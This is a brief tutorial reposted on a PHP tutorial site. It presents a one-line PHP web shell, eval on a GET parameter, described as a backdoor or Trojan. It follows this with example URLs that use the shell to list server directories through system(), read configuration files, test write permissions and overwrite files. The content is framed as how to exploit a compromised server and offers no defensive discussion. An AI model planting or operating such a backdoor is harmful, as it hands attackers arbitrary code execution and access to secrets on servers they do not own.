Some uses of PHP backdoor

藏色散人
Release: 2023-04-06 20:20:02
forward
7042 people have browsed it

Today we will talk about some of the most common uses of PHP backdoors

First, write the simplest backdoor, which can also be called a Trojan.

<?php eval($_GET[&#39;evl&#39;]);
Copy after login

That's it, you have obtained a lot of execution permissions on this server.

What are the usages of that scene?

Print serverphpinfo

http://www.test.com/a.php?evl=phpinfo()
Copy after login

Check what files are in a directory

http://www.test.com/a.php?evl=var_dump(system("ls /mnt/web/ -a"));
Copy after login

Check whether the directory is writable, the next step You can create an executable file in a writable directory

http://www.test.com/a.php?evl=var_dump(is_writable("/mnt/web/abc/"));
Copy after login

Get the content of a file, generally used to read the configuration

http://www.test.com/a.php?evl=var_dump(file_get_contents("/mnt/web/temp/api.php"));
Copy after login

Write files to a writable directory

http://www.test.com/a.php?evl=var_dump(file_put_contents("/mnt/web/temp/api.php",file_get_contents("/mnt/web/script/test.php")));
Copy after login

Okay, the above part has basically destroyed the part that can be used to view a server. Let’s try to draw inferences about other functions.

The above is the detailed content of Some uses of PHP backdoor. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:aliyun.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template